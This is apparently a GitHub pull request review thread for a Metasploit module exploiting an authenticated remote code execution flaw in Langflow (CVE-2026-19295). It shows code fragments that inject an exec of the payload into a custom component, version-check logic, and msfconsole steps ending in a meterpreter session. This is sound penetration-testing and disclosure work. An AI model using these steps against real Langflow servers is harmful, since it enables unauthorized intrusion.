ENH: Exploit module for Langflow Authenticated RCE vulnerability CVE-2026-19295 - #21837
ENH: Exploit module for Langflow Authenticated RCE vulnerability CVE-2026-19295#21837rmhowe425 wants to merge 10 commits into
Conversation
There was a problem hiding this comment.
Pull request overview
Adds a new Metasploit exploit module (and accompanying documentation) targeting CVE-2026-19295, an authenticated remote code execution vulnerability in Langflow (<= 1.10.0), addressing the request in #21836.
Changes:
- Introduces
exploit/multi/http/langflow_auth_rce_cve_2026_19295, implementing version checking, authentication, flow creation, and trigger logic. - Adds module documentation describing the vulnerable setup, verification steps, and a usage scenario.
Impact Analysis:
- Blast radius: Low — isolated to a new exploit module + its documentation; no shared framework/library code changes identified from the diff.
- Data and contract effects: No schema/ABI changes; new module adds a new user-facing capability and stores data server-side on the target (flow creation) as part of exploitation.
- Rollback and test focus: Rollback is straightforward (remove the new module/docs); validate authentication, flow creation, and exploit trigger against Langflow 1.10.0 as documented.
Reviewed changes
Copilot reviewed 2 out of 2 changed files in this pull request and generated 3 comments.
| File | Description |
|---|---|
| modules/exploits/multi/http/langflow_auth_rce_cve_2026_19295.rb | New authenticated Langflow RCE exploit module for CVE-2026-19295 with AutoCheck/version detection and flow-based trigger. |
| documentation/modules/exploit/multi/http/langflow_auth_rce_cve_2026_19295.md | New module documentation covering vulnerable setup, verification steps, and an example scenario. |
Suppressed comments (2)
documentation/modules/exploit/multi/http/langflow_auth_rce_cve_2026_19295.md:46
- Important: Problem: the Options section is empty, despite introducing user-facing options (TARGETURI/USERNAME/PASSWORD/RPORT). Impact: operators may misconfigure the module or miss required settings. Fix: document the options and defaults in this section.
## Options
documentation/modules/exploit/multi/http/langflow_auth_rce_cve_2026_19295.md:41
- Critical: Problem: the verification steps reference a different module path (
langflow_unauth_rce_cve_2026_19295) and userunwith inline arguments. Impact: users following the docs will run the wrong module and likely fail to reproduce. Fix: update the steps to use this module’s path and standardset/exploitworkflow.
1. Install the application
2. Start msfconsole
3. Do: `use exploit/multi/http/langflow_unauth_rce_cve_2026_19295`
4. Do: `run lhost=<lhost> rhost=<rhost> username=<username> password=<password>`
5. You should get a meterpreter
💡 Add a code-review agent skill or configure MCP servers for context-aware, tailored reviews. Learn more in the docs.
| 3. Pull pre-built Langflow docker container (v1.8.4) in your VM. | ||
| `docker pull langflowai/langflow:1.10.0` |
|
|
||
| The vulnerability affects: | ||
|
|
||
| * Langflow <= 1.10.0 |
There was a problem hiding this comment.
IBM says through 1.11.1 is vulnerable, and 1.11.2 is the matched version?
https://www.ibm.com/support/pages/node/7284733
| " outputs = [Output(display_name='#{output_display_name}', name='#{output_name}', method='#{output_method}')]", | ||
| " @exec(\"#{payload.encode}\")", | ||
| ' def r(self) -> Data:', | ||
| ' return Data(data={})\n', |
There was a problem hiding this comment.
| ' return Data(data={})\n', | |
| ' return Data(data={})', |
That newline caused the exploit to fail for me?
Test Results |
|
@bwatters-r7 should be good for a second round review |
|
|
||
| return Exploit::CheckCode::Unknown('Failed to parse version.') unless version | ||
|
|
||
| if version < Rex::Version.new('1.11.1') |
There was a problem hiding this comment.
| if version < Rex::Version.new('1.11.1') | |
| if (version >= Rex::Version.new('1.0.0')) && (version <= Rex::Version.new('1.11.1')) |
In theory, 1.11.1 is vulnerable, but nothing below 1.0.0 is, right?
| }, | ||
| 'data' => { | ||
| 'id' => node_id, | ||
| 'type' => 'CustomComponent', |
There was a problem hiding this comment.
| 'type' => 'CustomComponent', | |
| 'type' => '', |
According to GHSA-74fg-mx2g-3cx8, this exploit is supposed to work when LANGFLOW_ALLOW_CUSTOM_COMPONENTS=false
| output_name = Rex::Text.rand_text_alpha(5).downcase | ||
| output_method = Rex::Text.rand_text_alpha(5).downcase | ||
|
|
||
| _payload_b64 = Rex::Text.encode_base64(payload.encoded) |
There was a problem hiding this comment.
| _payload_b64 = Rex::Text.encode_base64(payload.encoded) |
I don't think this is used, anymore?
| --name langflow \ | ||
| -p 192.168.1.30:7860:7860 \ | ||
| -e LANGFLOW_SUPERUSER=root \ | ||
| -e LANGFLOW_SUPERUSER_PASSWORD=root \ |
There was a problem hiding this comment.
| -e LANGFLOW_SUPERUSER_PASSWORD=root \ | |
| -e LANGFLOW_SUPERUSER_PASSWORD=root \ | |
| -e LANGFLOW_AUTO_LOGIN=false \ | |
| -e LANGFLOW_ALLOW_CUSTOM_COMPONENTS=false \ |
Disable custom components for testing.
|
@bwatters-r7 Updated implementation and documentation. Retesting was successful. Ready for 3rd round of reviews. |


Description
This pull request adds a new exploit module that detects and exploits an authenticated remote code execution vulnerability impacting Langflow versions 1.10.0 and below.
Related Issue:
Fixes #21836
Breaking Changes
None
Reviewer Notes
Verification Steps
docker pullanddocker runlangflow, per documentationuse exploit/multi/http/langflow_auth_rce_cve_2026_19295run lhost=<lhost> rhost=<rhost> username=<username> password=<password>exploitTest Evidence
Environment
AI Usage Disclosure
None
Pre-Submission Checklist
documentation/modules(new modules only)lib/changes)